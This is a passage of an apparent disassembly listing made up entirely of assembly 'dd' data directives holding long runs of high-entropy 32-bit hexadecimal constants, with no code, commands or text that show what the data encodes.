		dd 550E36CEh, 62EA7C65h, 0CF3523C4h, 0D1D43C0Bh, 269009B4h
		dd 5D46F2FBh, 0C04F010Bh, 0B934C97Bh, 772257E8h, 7EA90A60h
		dd 0EA2C15C3h, 0E3BB79DCh, 19F86E06h, 0CCEF6FC0h, 3E600D72h
		dd 0ABF51E39h, 8FE9E96Ch, 449FB102h, 151999D2h,	6D57E2A0h
		dd 28EC0A3Dh, 0B9F4962Ch, 493879A4h, 1C8AA95Dh,	3A3B69AEh
		dd 651BEF4h, 0BA0610Ch,	300A28F7h, 0E523B94Dh, 27EA7774h
		dd 1E23F3C2h, 0AA0B38EDh, 0E7068414h, 11246127h, 0EFA7B402h
		dd 0E98544CBh, 0AC9A66A3h, 0CE79A460h, 18288075h, 0EB89E646h
		dd 6CC364E4h, 782AB285h, 0C89B4AA5h, 2EA7654Ah,	4F6D6BF8h
		dd 3EDEF541h, 260C5F80h, 0D053EE8Ch, 74F695F5h,	2351D47Ch
		dd 5341CB49h, 641D43CBh, 12FDD8DEh, 3DBCD831h, 5D45701Fh
		dd 0CBDB1CBBh, 0AAE44DAh, 9560C007h, 0EB63B72h,	4257C2EBh
		dd 8A2BA804h, 4D781F0h,	825DADFBh, 0C740737Eh, 8030CAB9h
		dd 0E3DFEC7Dh, 13046781h, 518789D9h, 0ED651D9h,	4C6C1B89h
		dd 71B104F8h, 574BE444h, 66B376CDh, 0B6B39983h,	916FFAEFh
		dd 0C2DB60EEh, 909FFA77h, 18334572h, 47FDE755h,	0C62AF5AFh
		dd 90EAD0C7h, 63196363h, 2FDFEBFh, 1981E7EFh, 0B7F662AAh
		dd 789C68C6h, 0ADA44596h, 1C7787D2h, 9940A26Dh,	59BB8D97h
		dd 0E5AECE7Ah, 8E36B9BFh, 8A7949A6h, 3FB45FD2h,	4657A33h
		dd 8AA23968h, 0BA02D1FFh, 0DECA87CEh, 2C8340A0h, 172EE7F7h
		dd 0E2F0BEB6h, 0F4298FCFh, 3133FC46h, 0F1ABB484h, 25198Eh
		dd 0E35A88C4h, 0C33D62FFh, 243D94ABh, 90AD784Dh, 414E39FFh
		dd 0AD102F2Dh, 963A137Dh, 7F8F4101h, 57FF0434h,	5D53778Eh
		dd 707D6B35h, 5DF41D32h, 3BD2E5FCh, 6D7DFFA5h, 1558082Ah
		dd 9A74BDDDh, 25AB04D0h, 0CB00F0C7h, 4E40177Bh,	0E3B98698h
		dd 8D22F039h, 20B6E4ACh, 268E0319h, 0F424B1A6h,	0E8488C48h
		dd 416EFBBDh, 1B168E14h, 0BDC3DC3Eh, 4FCFE30Dh,	0D2DAFDBCh
		dd 25BDF51h, 841B8144h,	9305F188h, 0E052DA55h, 4376B77h
		dd 29CB0ECDh, 240A00F9h, 71CC2334h, 34CB71A1h, 40FE1B59h
		dd 17ED54EBh, 3109228Ah, 3082D9A3h, 0BE9C9CADh,	37C3019Bh
		dd 0B6CDD38Dh, 275C1C62h, 5CD521D6h, 21923F6Dh,	2C202AA4h
		dd 3CB49A6Eh, 0BD7641C5h, 0F49D85FEh, 434CF3FEh, 7D5C8DC8h
		dd 0DAAB8598h, 1B6272C8h, 0A0BF100Fh, 38EDC92Eh, 6445B4F9h
		dd 842F9B49h, 0D16DF4F1h, 445E9CF1h, 0CA082FBBh, 0AC0793B3h
		dd 8563E49Ah, 0BB8D5551h, 0A5AE0DA6h, 0E229B3CAh, 83A9E66Bh
		dd 1B3D6F72h, 4A7C9BEh,	59EFC67Fh, 0A6680D91h, 0B58EE8C7h
		dd 6C0D8DB7h, 6591DB5Bh, 79ADD940h, 0BFE41C1Fh,	0AA827A53h
		dd 0F21E0725h, 0D8F75F58h, 0EFEE58A7h, 0E41D6C29h, 1A4A4B8Bh
		dd 6233D7D3h, 7C77A7E6h, 84368B93h, 0A2486DEAh,	70E5E9EDh
		dd 0D0084635h, 0F3F2A389h, 0EF25674Ch, 0A8C53A3Bh, 4807D4h
		dd 0D10BE52Fh, 0C8CCB773h, 0E183C47Bh, 42D729D7h, 2A31A593h
		dd 8433FA88h, 0EDF47821h, 4DF644Ah, 650EC417h, 53A949E4h
		dd 9AAF6880h, 273702B5h, 7EDC95E0h, 0DF711A40h,	0EC1EC832h
		dd 7B97CE9h, 168BF305h,	8C7F80D7h, 0EE2191F3h, 7FB31CE0h
		dd 0CFE0C94Eh, 2804C69Bh, 0B4D4638Bh, 0DF5C1024h, 0A088486Eh
		dd 4AC38FCBh, 21C34DF6h, 0C4AAFF61h, 0BCA461C4h, 918E432Bh
		dd 40D9478Eh, 11D3232Dh, 0E733039Dh, 4C02AC8Bh,	86F6B4F7h
		dd 0B79B6950h, 157BACE6h, 49E4ED3Dh, 0E0DB686Eh, 0EA0E5138h
		dd 0A39AF78h, 2606E4A2h, 0E7B28603h, 0E84F1380h, 1841568Dh
		dd 256EBA29h, 27957112h, 0A10DE7F8h, 0EA5B6967h, 60A45010h
		dd 5601C81Ch, 55F5A138h, 0CE2C76A1h, 6DBD9C3Fh,	31C611F6h
		dd 2EFFFE6Fh, 6482A576h, 119C4354h, 0E35E558Bh,	9F061B88h
		dd 0FA8AD3FAh, 0F176758Fh, 0C135F35Dh, 0F148FFFFh, 6962BB80h
		dd 0D9608F30h, 5704D76Fh, 3FE2486Ch, 0A5AB37Fh,	0EE61E1C6h
		dd 8E8286BBh, 655F183Ah, 6FCF37A6h, 4B131A5Eh, 0E9422262h
		dd 0D641C7A3h, 0D38F7068h, 0C36C4624h, 8F3F5473h, 0BB69DE54h
		dd 0B5917D22h, 4DA587C5h, 7163576Eh, 0DFAB22F7h, 4FA79C4Dh
		dd 6EE4533Ch, 7913D67Ch, 6D642A4Ah, 616A8B54h, 728B0B8Fh
		dd 0A3BB26E6h, 0B08FF572h, 0E12B489Bh, 4D8460DCh, 25633536h
		dd 0DEA903D2h, 866FA4E5h, 8E86437h, 53A3E483h, 71A52711h
		dd 0D32477BDh, 0BAB60787h, 0AC5943D6h, 0BE3D548h, 0D9EEB345h
		dd 6343EBFAh, 33A9398Dh, 0CBFF741Bh, 768AB7AFh,	4637A0AAh
		dd 4CA7B6C2h, 618481EBh, 2C0DFC3h, 92E7B628h, 2B2ABF84h
		dd 0E2EC9108h, 0EE075F1Dh, 66541A28h, 964CEA3Fh, 0F0029DFh
		dd 7543F95Ch, 8589A98Eh, 0EACA49FBh, 7B61915Dh,	0E6289381h
		dd 6DE1A5D6h, 4ADFA81Dh, 0B06CA8BEh, 7F28B7B6h,	9E499788h
		dd 1B5A2FFDh, 994CF446h, 0ECC1CD8Eh, 33A7F787h,	83360B6Dh
		dd 0C518053Eh, 6B58A922h, 6E1115AEh, 0A3443C51h, 0FF617EF1h
		dd 0CC6E59C8h, 0E27A705Bh, 7CF36297h, 0A0AC98Ch, 668E403Fh
		dd 1A95C997h, 0CE0DD92Dh, 66A6EB9Dh, 9A17AA0Eh,	5A71372Ch
		dd 0CDAE8B56h, 50BF79D6h, 9647C826h, 37359F1Dh,	26A69625h
		dd 25830581h, 46042D42h, 75A764E6h, 0BC2C5553h,	5F1C6F84h
		dd 9A59D531h, 0A4CD130Ah, 62D42629h, 178885CBh,	2A6FFE18h
		dd 7639CDDAh, 0BE589B0Dh, 0F6B67A15h, 8B39BFDAh, 0B6817DECh
		dd 444BA78Ch, 0BEE72C30h, 80A6FF01h, 0F7358556h, 35CADFFFh
		dd 7676F787h, 769B3DDAh, 59FB9D03h, 49400C96h, 513276B1h
		dd 0DBB6DFA6h, 5D460AF5h, 0F51D0C82h, 30E6DC6Bh, 0F11E0ADFh
		dd 406E6A5Fh, 0FA8CEF2Dh, 0BEC3E1C2h, 0B4D7BE96h, 2F9105D2h
		dd 8A150C88h, 6CDE1B9Bh, 0F475528Eh, 0E1244547h, 0BEE6C27Fh
		dd 0E2E4C15h, 62FD55E0h, 90A98E0Ch, 27C126E4h, 76438C1Fh
		dd 67B4CCBEh, 0AF448E2Bh, 0A14C9BBDh, 74C00CCFh, 65DFAAD2h
		dd 1E43500Ah, 879455DFh, 0C5006A09h, 3C6907ACh,	0C585E05Eh
		dd 5F74D475h, 0C41206C1h, 3CD93B96h, 6AC0595h, 3A01DE2Eh
		dd 6BC7DFA6h, 34FBE447h, 1AA81A49h, 682D5D2Eh, 9358F60Bh
		dd 1DDC674Ah, 936BA3FBh, 5A7F9420h, 9363104Dh, 0F12C72A4h
		dd 68F85331h, 35F7C2FCh, 9B785AF9h, 0FAE200DCh,	2901C68Bh
		dd 57C869A2h, 0B5BB7812h, 29BA2435h, 39BBDFA0h,	39B6C809h
		dd 3D6940E6h, 0CE8DEEh,	0D01BF070h, 63DE4FFEh, 803D5C2Ah
		dd 368E6B35h, 532F7543h, 390FB1E2h, 6570348Eh, 6103E679h
		dd 2D84E386h, 4613536Bh, 2DD9B61Fh, 0F7E3E952h,	12C85AC1h
		dd 8925B66Bh, 107848F7h, 278E5B30h, 509940F3h, 76D70FDAh
		dd 0E7619594h, 6A3690F6h, 64AB5805h, 0D5A0BB4Eh, 3A99C31Eh
		dd 0CEF4D8BDh, 4AB59636h, 5C444B2h, 6EACA5C3h, 0E63AD992h
		dd 0EE88F702h, 2655F893h, 128252EDh, 0C9055D1Ch, 422B9515h
		dd 84C0B568h, 0A69F0D2Dh, 379868DEh, 6926F3B3h,	9F0AC09Ch
		dd 38A5F4A5h, 75A99131h, 0FDEFCB3Fh, 72430762h,	805D3D93h
		dd 52BD9F94h, 0EF3D2DADh, 9B24E4B0h, 1FB5AE79h,	0F0E978EEh
		dd 0D1404A6Eh, 47A195E8h, 0EBF29h, 46FB3301h, 0EE8BC9E1h
		dd 34D9E556h, 3E6549E3h, 1DE1777Ch, 52A1792Ah, 0C3D0600Ch
		dd 0E3D23A55h, 8F726B23h, 8F5A42FEh, 23D19698h,	53362C6Eh
		dd 2BCCE132h, 0F514A488h, 0B62C2CA2h, 10D179F4h, 866328C5h
		dd 8733E9A3h, 0C55AC946h
		dd 31163C2Dh, 4F52D152h, 0C8A9038h, 0C543D3FAh,	0A77475CFh
		dd 32355F15h, 0CE9159EEh, 199638BDh, 0F4AF0B79h, 358C679Bh
		dd 97E345C5h, 5611C927h, 0F636B510h, 0F58D94F4h, 0A1BFF82Ch
		dd 14BCF35Eh, 36C4F5BCh, 9B45578Ah, 7D4416A0h, 0B5BBD3C0h
		dd 43DB3F80h, 7377B671h, 0E2F1881Dh, 9F9DB5DDh,	6E496061h
		dd 74F8E72Ah, 0A6CE1A40h, 6148C5DEh, 754FA59Dh,	8D52FE8Ah
		dd 0A0536B57h, 0B7C2A8DAh, 0C727C34Ch, 4A82F210h, 1F76EC12h
		dd 0AF0336B1h, 68550655h, 588F742Ah, 0F735BF61h, 7A1693A6h
		dd 0BD01A205h, 6DFFF353h, 93018732h, 4AC404D0h,	0C66EF0EEh
		dd 0DECECF18h, 93EB3644h, 0C821CF18h, 627E04F5h, 20B9E06h
		dd 290F127Ch, 7210A792h, 300D1504h, 335420E4h, 4B5BF17Ch
		dd 4B174DD5h, 0CD04F6ABh, 0DA2BD3A4h, 3DB6CB8Dh, 58429335h
		dd 8F2EC706h, 574A3742h, 9E72FEBCh, 0B172EF1Bh,	0A540D7EEh
		dd 0B5ED3A5h, 0A1D240DCh, 83AA5C7Fh, 0BE77D912h, 0FCDF4111h
		dd 29CCA1CCh, 38E3DAC0h, 0BE0B1153h, 712F328Ch,	93739307h
		dd 0D06903B5h, 0E942AA3h, 3D993DD0h, 390CAFFAh,	59F265DAh
		dd 7B3FF78Fh, 78AA5001h, 81BD15DBh, 8214A04Fh, 1150FB83h
		dd 0B6389A03h, 424E66C7h, 0D15F3D65h, 9FBB3589h, 152A8B03h
		dd 921E1F9Eh, 2F2EAD29h, 0D7DFF20Dh, 2864E9BCh,	9A0B61ABh
		dd 0C860172Bh, 71BBA54Eh, 557E4608h, 0F8B37809h, 0BBF691EAh
		dd 600A852Bh, 0C2CAF41Fh, 0C74014CCh, 0ACF4624Fh, 9795494Ah
		dd 1F1FF944h, 0ECF14301h, 0E009F1FFh, 0C76774E5h, 69432021h
		dd 0D460D6E5h, 62D062F2h, 732417D0h, 8AAE8073h,	0FCF64E77h
		dd 0B9F86E30h, 4F3B5E24h, 6FF8E385h, 0BBC8882h,	0F466226Ch
		dd 0DAF6A92Ah, 18C06DE1h, 0B1B7EFC9h, 10E07094h, 97B8181Ch
		dd 15C468FEh, 1CE21A13h, 0BF69020Ch, 46ED146Bh,	0AC6768DFh
		dd 838D6533h, 0ED7502A7h, 0FBDE7271h, 0F17910A0h, 0DECDC7FDh
		dd 0F575099Ah, 39F124AFh, 0FD231EDCh, 10FBAE62h, 0A9150609h
		dd 0E425CB08h, 49FF3B7Eh, 21176A55h, 0EB487367h, 2559C10Fh
		dd 6CEE91EEh, 0B61C5312h, 0C4EE3E3Dh, 1E06AAB3h, 0CBCD4E24h
		dd 0DDAFB892h, 1ECAD79Eh, 75975805h, 0C84CBF1Ah, 0C0378F36h
		dd 4335F77Dh, 0E9601F15h, 0A3D84630h, 84C8C599h, 902B2A2Bh
		dd 0A79E9882h, 53660ABBh, 90712550h, 4F2AE66Fh,	76738A19h
		dd 3D2F2DE0h, 0A8A591A3h, 735957EDh, 0A632B037h, 755E9F0Eh
		dd 32998314h, 3AEF8431h, 0F9101A78h, 899B729Dh,	0E331CBC1h
		dd 9D5AA5E7h, 2B28BA30h, 0F5090D98h, 0AD5D331Ch, 8629C74Ah
		dd 0DA5B456Bh, 2202CABFh, 2B921ACAh, 1F6FED34h,	3744B257h
		dd 0B4B9EE98h, 0D1C761ACh, 2CF7525Eh, 0DB2F59CCh, 241664B2h
		dd 2F2649C5h, 0CB335A56h, 93506F3Ah, 0F9F57E84h, 6FF31FABh
		dd 0D82B8E67h, 803B3B47h, 0FD7AE48Fh, 4F068012h, 5E540FFEh
		dd 63C9FDE6h, 519DB45Ch, 0E19F9741h, 5C8E9AD1h,	795E0C59h
		dd 0A75C7F39h, 19F8E6A8h, 3C302699h, 33A6858Bh,	0F346570Eh
		dd 2252F66Bh, 22838F8Dh, 3A1D3728h, 0F27A297Ch,	84513FA9h
		dd 905470C4h, 0CF3B60AFh, 0B0408AB6h, 0C14CA62Dh, 573FDB9Ah
		dd 44394CD0h, 0F8373420h, 3A0D4B48h, 4F07FCFCh,	8F1BF0F7h
		dd 25EDFB8Fh, 6C2CDBB0h, 0F1FBD1C5h, 0D48B36A8h, 0E49F7789h
		dd 0D9D119Eh, 89EEF1BCh, 87F3D7C6h, 0E5188A6Fh,	48036839h
		dd 0CE3103F4h, 0A0D179DAh, 25A96FF2h, 7F055AAEh, 67097AB0h
		dd 560D4150h, 7A0392E6h, 483FF20Ah, 0E52B1376h,	2AC1B1E9h
		dd 32B32AF1h, 0FCACBDDDh, 76D5EE52h, 286F884Dh,	0AA2FD446h
		dd 0B27B6BC8h, 3F5AFF54h, 83EF70ACh, 5EDE746Fh,	49B01777h
		dd 3B27E362h, 0C07130CCh, 0EAE5942Bh, 14101012h, 11569585h
		dd 82A73DA4h, 6557C51Bh, 52E4F5DDh, 0AB22595Fh,	7A34CD33h
		dd 6E538D65h, 9CC23DB9h, 7CCB7EB1h, 2732FD9Bh, 0E8C6FAF5h
		dd 0ADB62C5Ch, 1C9ECF31h, 9EB56B21h, 55EFEC9Ch,	82427833h
		dd 0D9754F26h, 91200217h, 4287D93h, 8C246B95h, 0B265B20Ah
		dd 9A977FCDh, 48608C25h, 0E2E786F7h, 0A52C83FAh, 8B84B19Dh
		dd 0CFE3D9FBh, 0EE40D888h, 5E207004h, 0BA48C140h, 41BAE9D5h
		dd 6827C2EDh, 0B3F046A4h, 95B8A0EBh, 21C9AF38h,	0E56C0871h
		dd 0D5F9E328h, 0C5930063h, 0DA30E703h, 32A7EFCFh, 7AC84279h
		dd 0C1CC9241h, 723A41DDh, 85084322h, 0E76CDE37h, 58C7CB54h
		dd 0E833E0F8h, 0C1C969B5h, 8D6F4ACAh, 8EC0AEAFh, 6D2032D2h
		dd 1F607DFBh, 184F1270h, 9B6109ACh, 3D496E59h, 63A63C94h
		dd 316CA51h, 5F083A62h,	0C390E58Dh, 0B58E55BEh,	0DECE074Fh
		dd 0CE03E466h, 26BA469Eh, 1F437155h, 0C30C33A3h, 0EC3AA2A1h
		dd 1F2D548h, 0DC0AF64Bh, 2858E16h, 62EC8EFCh, 0D637213h
		dd 7F99CB3Ah, 2661D34Eh, 0DF17F939h, 0BBAAB6EFh, 0EC690B1Ch
		dd 0A75F0C35h, 0DCDEB4FDh, 0F56D024Ch, 34DCB0C2h, 0CAC692C8h
		dd 0A2F939Bh, 973965Bh,	0A5914461h, 5A5726BCh, 0BFEA2906h
		dd 88BBA376h, 926F089Fh, 0A65B831Ch, 73DC76D3h,	5873B6BEh
		dd 0DD7D2CDDh, 4C6A281Dh, 0B176FED1h, 0E63EC4AAh, 0AAE40947h
		dd 1C9FB965h, 1BA4AA58h, 0CB25D822h, 245149F8h,	6B547A52h
		dd 31EB66CAh, 8A64F2Bh,	0A67EDA37h, 0F529D003h,	7BC4182Fh
		dd 90E32397h, 0D36A1618h, 2D95F230h, 0BB863941h, 136FA78h
		dd 822ED662h, 5A70F0F6h, 7D1D6BBh, 0E92F6EB4h, 0D7D4D53h
		dd 6D4F7A45h, 402EF2Dh,	0F982F7EDh, 0F7BA493Ch,	287F75C8h
		dd 795DDAE8h, 8FCC3B9h,	5E7EA1F7h, 0B764A673h, 41BEDF5Fh
		dd 0E418E678h, 299634B5h, 0B69E5298h, 8DB8C9BBh, 0D487FBA9h
		dd 7D7CD815h, 2129A63Dh, 0FCCBED90h, 0DC316796h, 170D3B90h
		dd 0BE2F4999h, 0A8D0F81Fh, 956A64BBh, 6DDC4C39h, 12C6BE97h
		dd 0A12D0FBAh, 1C11F20Bh, 27683673h, 0A18ABC44h, 0A540286Ah
		dd 0E240AE54h, 0F7104D2Dh, 5DD2649Dh, 0A3A9BB6Ch, 0E0508024h
		dd 50FB3ACCh, 0CE168EC8h, 5E627BA7h, 484F4C3Ah,	98E4D87h
		dd 0ADA0F1E9h, 1B79E32Ah, 0C856F874h, 3303201Fh, 84D572h
		dd 0D311A429h, 0B678C415h, 7C51377Fh, 0E7574C38h, 0CD7E863Fh
		dd 74F5F6E1h, 0CD1D6690h, 5A419A8h, 533266D8h, 9C2918B4h
		dd 9C491701h, 87D2BF4Eh, 1F7D460Bh, 0B9568BEh, 0FD954423h
		dd 0A2A821B3h, 4B620862h, 0D3500A69h, 0BF93968h, 0D36A7745h
		dd 0CC3A813Bh, 0A4E7F794h, 0CCDB8B79h, 0A0EB27C0h, 22867B87h
		dd 2A037501h, 0A4EB765h, 5930A335h, 659BFD82h, 0CDE620EEh
		dd 1C6D1D03h, 1E6FA4B5h, 38B6A562h, 619AD8C6h, 23ED53B3h
		dd 27BABB64h, 8CA658F7h, 65847764h, 7D009E99h, 0ECA513A4h
		dd 0BF2A87F3h, 58502919h, 0C9BA6507h, 0DE6B5655h, 576AA891h
		dd 0FB7F6445h, 0D8CA3FEDh, 24E40835h, 47FA69Fh,	9FBEE00Ah
		dd 0C928216Ah, 0F7EE8E55h, 22290CD1h, 89405D14h, 41B5FCC4h
		dd 624A5122h, 0F3835F90h, 974138F5h, 5862ABD5h,	5324C9E1h
		dd 0C3D6E99h, 13AD6E8Dh, 55AE77Bh, 70F0B7C2h, 188E0127h
		dd 1748FE4Ah, 48558DC8h, 48A4248Dh, 0EDD517CDh,	14785123h
		dd 693A463Eh, 0C15D764Fh, 431C9CAAh, 973A3E03h,	8EE82C64h
		dd 0D02BE20Ah, 0B42CBD43h, 265DC94Dh, 8D8B42CBh, 0D8CB9CA9h
		dd 5646C173h, 0A5C1676Dh, 40FBCD4h, 0A9C64A3Ah,	0AF8D3571h
		dd 0F08A23CDh, 53062DA7h, 4509C79Ch, 0B0BDA82Ch, 2F617192h
		dd 62B19E0h, 6DA790BCh
		dd 0ED97C0AEh, 45627577h, 0DC6BBA89h, 0ABDB4B50h, 0E1A5497h
		dd 0A79257ADh, 3675CDB5h, 0DF8F2B30h, 0A1D3E2DCh, 20C1DC26h
		dd 0B913B157h, 0B523D8B8h, 1865B82Eh, 0B2CEB6E9h, 48ABA04Fh
		dd 42926967h, 2567ABE3h, 0CE31326h, 938649Fh, 0D8E1FE8Ah
		dd 6DF73E71h, 0C70165B4h, 371002B2h, 0EF6D5D65h, 19169129h
		dd 2E1AC417h, 75C58E21h, 83C7CA7Eh, 47F73DB3h, 1E5D9931h
		dd 0A31C43A6h, 387D563Ch, 30F09D2Eh, 0E55818BAh, 5789A889h
		dd 0C8E2D285h, 7783D46h, 11463089h, 28AC66D9h, 0D194B425h
		dd 0F459476Fh, 0B5DF6E38h, 0D4DEF5A7h, 5F70E7B9h, 4662955Ch
		dd 6B5811FFh, 0E89A251Eh, 90652C00h, 537937A0h,	621F0E64h
		dd 0A048F5F6h, 4D44BD6h, 6067B306h, 655B896Dh, 9AF1DDA7h
		dd 0B3001DC1h, 64BE5611h, 4F166F94h, 0C051A676h, 0E9B92A29h
		dd 0B830FA26h, 991E5DC9h, 20FEA975h, 8CB0A0ACh,	89860454h
		dd 6BE2C577h, 792A27C4h, 7AA2C0D7h, 29B7D16Dh, 0AB18DE96h
		dd 0B67BA172h, 0CFE72040h, 50D18DD0h, 537474D6h, 0BBC51038h
		dd 2230637h, 0CFAF4E24h, 0FF5C7F23h, 0E8E1B55h,	0FF2E8EB8h
		dd 3A910C06h, 4EF2C97Ah, 0CBA9F56h, 0DA7236EFh,	3758415Bh
		dd 0D9AA7EB0h, 0B58853C6h, 0D6846629h, 90B237B9h, 4AD72087h
		dd 2B7F3C23h, 0BC42FBA8h, 0AE0DBF74h, 931D96D1h, 89FFC724h
		dd 0E32B0D20h, 58B8B997h, 0FD0F9D1Bh, 532AD125h, 8A6598BEh
		dd 6F14BB53h, 7226365Ah, 0C9550F4Eh, 0DDC96502h, 84FB850h
		dd 49C0529Dh, 4D56F9Ch,	0D69C0097h, 0EFB3477h, 0A4142E8Fh
		dd 0F4CB8A3h, 0E4966CB9h, 0E67EB7C9h, 0F91B0058h, 0A5329B6Dh
		dd 0DE963066h, 462D1A46h, 7E37C6C7h, 0E6B018B5h, 245EC036h
		dd 49A225E4h, 28E8DAAAh, 6F5EF025h, 0E6955E7Ah,	1F3D4286h
		dd 3901DA46h, 53195414h, 0A961C54Dh, 0A067F55Ch, 930F4769h
		dd 5FE0BE85h, 0FFBCD4DAh, 0AB8D9F9Dh, 49F1CBEAh, 2AE0F2B9h
		dd 0DA246E28h, 1532E9BCh, 745ABA3Ah, 4485302Ch,	9D78AEB8h
		dd 0AF56A0E9h, 0C8B5BE60h, 0C37F4ACEh, 0D1B1BCB9h, 5A17A5h
		dd 1196CD29h, 0FE6A4933h, 6F23C9DAh, 11D94C15h,	8D677908h
		dd 6636FD88h, 76094CBFh, 27FBDFEBh, 65091E1Bh, 3298D1Dh
		dd 0F3C7F0BCh, 0CDF81E57h, 42016DA9h, 0B19ED385h, 39CD13D4h
		dd 82E47690h, 0B3BC89CEh, 0B3DCA030h, 0FDC95D38h, 874304BDh
		dd 4C4A6E63h, 59338ADBh, 9A18FAC7h, 0AA652148h,	98957B22h
		dd 7255D067h, 77634C19h, 0E647811Bh, 72B7F88Eh,	0FBEDF63h
		dd 1590CE88h, 0A8DB9182h, 0AA06DD8Bh, 9041AC53h, 3F9A9A23h
		dd 90E35C94h, 0DD08006Ah, 87E7570Ah, 235F0047h,	0AFF1BB0Fh
		dd 0BDA72184h, 0C63706F6h, 63994A51h, 0DD6BD416h, 0D123A080h
		dd 49F060DAh, 1DE67F5h,	0B01C021Ch, 0AAB7F5CDh,	5362A015h
		dd 3FBA4E94h, 52A27CBDh, 9A204383h, 0EE633292h,	0C828BBB5h
		dd 0C90224C3h, 0D09651CEh, 166B693h, 307BC2C7h,	0D44B10A5h
		dd 0BF40BCA4h, 0CDCF6F62h, 0D0BF97BDh, 0AF09C0FCh, 2B5C51DDh
		dd 29C09C16h, 0F1C9BB81h, 0A472E3C1h, 98313686h, 758C1711h
		dd 62F3882Eh, 3F3FF499h, 788B6959h, 0C4CFBFC9h,	27588Fh
		dd 0EA96DE22h, 265CFC4Eh, 2EBD5CEDh, 0D48E3465h, 9FA09E2Dh
		dd 36D77D79h, 27F9C398h, 0DB8FF5D6h, 0ECCB04DDh, 5524B81Bh
		dd 0C1C28EA4h, 0BEDD80Dh, 5AD2F9Ah, 5F46AC71h, 0E07F2744h
		dd 0BC17D828h, 4F8DF992h, 0A5A528D2h, 453AF283h, 0FE9BF4EBh
		dd 81725F28h, 6F800BA5h, 65F269DFh, 396893DAh, 170536BAh
		dd 0CDD8729Bh, 0AA4B007Bh, 20B789A6h, 5D2F4A33h, 0ACFD353Ah
		dd 507DFD12h, 0D4794D06h, 1BD419B5h, 40731C07h,	509FD5E2h
		dd 797DAEDh, 1D91A437h,	86D564EEh, 5170B644h, 0AB01F324h
		dd 8BDD991Ah, 0C0F34BDh, 93BF8E80h, 5368BDA6h, 13ED6518h
		dd 47637B80h, 0D4653ABDh, 4149AA6Ah, 76B013C6h,	79AD239Eh
		dd 0E560A0A4h, 44D53E01h, 5BFFFF01h, 0BBF3D4FAh, 63B363BDh
		dd 0C228FA0Ch, 3511112Ch, 7CDA05C1h, 1F2B4A9Dh,	7BBF4390h
		dd 664F213Ch, 0CFFB8285h, 855BB2F6h, 2BB3BC8Dh,	498CF8FEh
		dd 0AFD431E9h, 0E960C201h, 0FAA64163h, 1482B503h, 60BDC55Dh
		dd 0EEEA986Bh, 0B66852B8h, 0DCF529h, 0C6A43384h, 29F0E436h
		dd 19D5CC48h, 4D9B342Fh, 659444F5h, 67BA28DFh, 7E3FB929h
		dd 0FFDA672Fh, 0FF57D733h, 0F4F3FC63h, 9212F00Ch, 4200D030h
		dd 0A081967h, 0FD62B860h, 46D41001h, 0CFFCFDAAh, 832CF1Fh
		dd 8A277652h, 0F7C332A3h, 0AF4215CEh, 0AFF71003h, 8D756AB7h
		dd 4ACC2292h, 32E0C4EFh, 0B96A3AAEh, 8E167956h,	0E5ED938Bh
		dd 86EC154Eh, 76B23893h, 0D606698h, 0E0D57402h,	38349459h
		dd 0ED67D3A1h, 0D1A88A15h, 711778B5h, 0A0506FA7h, 414D58B1h
		dd 84C9E120h, 0A2628B3Bh, 4AD3CE6Dh, 2739CABBh,	660311BAh
		dd 7930766Fh, 690399FEh, 3B92C128h, 73730A9Bh, 9052C5D4h
		dd 0C6225CFEh, 765B5D70h, 290F2735h, 9B5483EDh,	0A000998Ch
		dd 6C96B140h, 0F5F5F9A5h, 65DED2D0h, 1EAD3459h,	0EC6BC86Eh
		dd 68AFE908h, 0D55CE0EDh, 0BE2A73FEh, 5F571352h, 43453572h
		dd 0E7CE1512h, 0CD3E83ECh, 0C1EFA23Bh, 4B029F92h, 833EAE34h
		dd 0E99A5CDEh, 2851078Ah, 0C33CC724h, 76535F68h, 51F03C98h
		dd 7B4BF476h, 0DAAAF25Fh, 6BEC4E48h, 8B681EF8h,	2266F26Ah
		dd 0D8934151h, 46A67002h, 0AD7187A3h, 88E9A5A9h, 0D1D49CE9h
		dd 1D078D3Ch, 5CA28BCBh, 62C0D7F1h, 4C9671D4h, 5257FA87h
		dd 0D202D540h, 55015C39h, 0D3135105h, 545C7560h, 0B5F4ED55h
		dd 7E4258FFh, 6B885DC7h, 51C37DA2h, 336CF60Ch, 608479E0h
		dd 0F2247F24h, 0A6DCF31Fh, 30B2E0E2h, 4AA4F075h, 0DCEADF97h
		dd 6A116F67h, 7E0C592h,	65D90C4Bh, 9331B951h, 8A96B984h
		dd 0D4C62541h, 64C9042Eh, 3364417Ah, 547100D6h,	0B4506AF0h
		dd 0D8CD38B4h, 0CF85A78Eh, 0C37BDBCEh, 0B02BC2FFh, 715430A4h
		dd 70EFC3C9h, 29288585h, 38FBEAh, 3F0311CAh, 641CF4A1h
		dd 23FF9E96h, 5F7486B3h, 5A1DBD9Fh, 355D25E0h, 0C3902CE1h
		dd 77048F94h, 1D1D8AB9h, 549F6502h, 3BA807CBh, 3769D25Bh
		dd 945F32F5h, 40B0C172h, 8D31DA4Eh, 7C993C5Dh, 77674B24h
		dd 9866D2B1h, 0A05A052Dh, 9DD896E8h, 0A137D139h, 9ADD513Fh
		dd 0AD8449ABh, 57D9FCD1h, 84E3A68Bh, 29FC0D6h, 15F519BEh
		dd 206F11AAh, 0ABA55733h, 9AE7DF51h, 264C0757h,	0BFB74C5Ch
		dd 97C9CF00h, 43B6D0C4h, 0DD2CF167h, 0A8CD1E35h, 773DB51Dh
		dd 0B7E0006Dh, 0A458D9B6h, 0DBD361DEh, 0FAEE6Dh, 0C7E2225Eh
		dd 8BD93A50h, 6705832Fh, 2AD318FDh, 0FDDC5605h,	0D41E52C6h
		dd 0EB94F236h, 92F75B0h, 0EA4D80F7h, 0E762CAF0h, 9DE3D9DEh
		dd 48EFCB55h, 5FCF9F67h, 0A2263745h, 60B05706h,	6B44C0F7h
		dd 0C1C93A13h, 2B0D0D9Bh, 0EBBB351Eh, 325D5CB0h, 0C69AA789h
		dd 849645FFh, 8D0AF589h, 8E4E6FBFh, 0B7DBA6F8h,	0DE520221h
		dd 81950805h, 99006D05h, 53584534h, 96904B62h, 7FA49792h
		dd 0A1A14798h, 3D3102B4h, 0CB8E2DBFh, 0C3C226D2h, 785529A9h
		dd 3F7EE1DEh, 1948594h,	0CA943A8Ch, 0C831DFC3h,	0C51AEDB9h
		dd 3F9B61A5h, 0E1E9119Ch, 0B5B8B048h, 4D727A9Eh, 0C5D3490Ah
		dd 48913A87h, 8E2F9FB8h, 78AE585Ah, 79AA820Dh, 0C8C5D191h
